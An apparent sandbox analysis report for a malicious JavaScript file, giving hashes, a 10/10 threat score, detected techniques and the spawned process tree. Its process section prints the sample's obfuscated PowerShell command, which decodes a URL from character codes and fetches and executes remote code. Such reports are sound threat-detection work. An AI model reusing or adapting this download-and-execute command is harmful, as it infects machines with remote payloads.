Analysis
-
max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21-12-2024 15:10
General
-
Target
16bf57f45f0a05f0aff93dfe37d7c6998bee82e60e00c644e28f6d04f239bda4.js
-
Size
198KB
-
MD5
812d33d3639081862f70e134d7b8669b
-
SHA1
40d2444c622c6b143f354e1e87b196ee369c975a
-
SHA256
16bf57f45f0a05f0aff93dfe37d7c6998bee82e60e00c644e28f6d04f239bda4
-
SHA512
fe5835ed046fed240f22747e7f8c069f052b7de5f9230c665af4c85088259720c8df77f73becee61a5a427d412ea8035c136758f117edf9eb7b0b97c866e0644
-
SSDEEP
3072:nvM6wb+7OOelgQoKOO0lgQoflgQoKOOSOOn:3ONlgaOplgvlgaO3O6
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\16bf57f45f0a05f0aff93dfe37d7c6998bee82e60e00c644e28f6d04f239bda4.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $sgucidaz='ur' ;new-alias printout c$($sgucidaz)l;$hkpunoceribalj=(4273,4284,4292,4276,4278,4273,4293,4292,4297,4230,4292,4226,4273,4221,4291,4286,4287,4222,4224,4221,4287,4279,4287,4238,4290,4236,4284,4280,4285,4291,4290,4225,4224);$qkodfthvxb=('bronx','get-cmdlet');$cjmdvgyoix=$hkpunoceribalj;foreach($suaxpbjocrg in $cjmdvgyoix){$erylfhp=$suaxpbjocrg;$sneiyj=$sneiyj+[char]($erylfhp-4175);$kgqovtfhemuz=$sneiyj; $ajbuvlpy=$kgqovtfhemuz};$sxozalgneuqyjp[2]=$ajbuvlpy;$rphjvl='rl';$nirusaqbxz=1;.$([char](9992-9887)+'e'+'x')(printout -useb $ajbuvlpy)1⤵
- Process spawned unexpected child process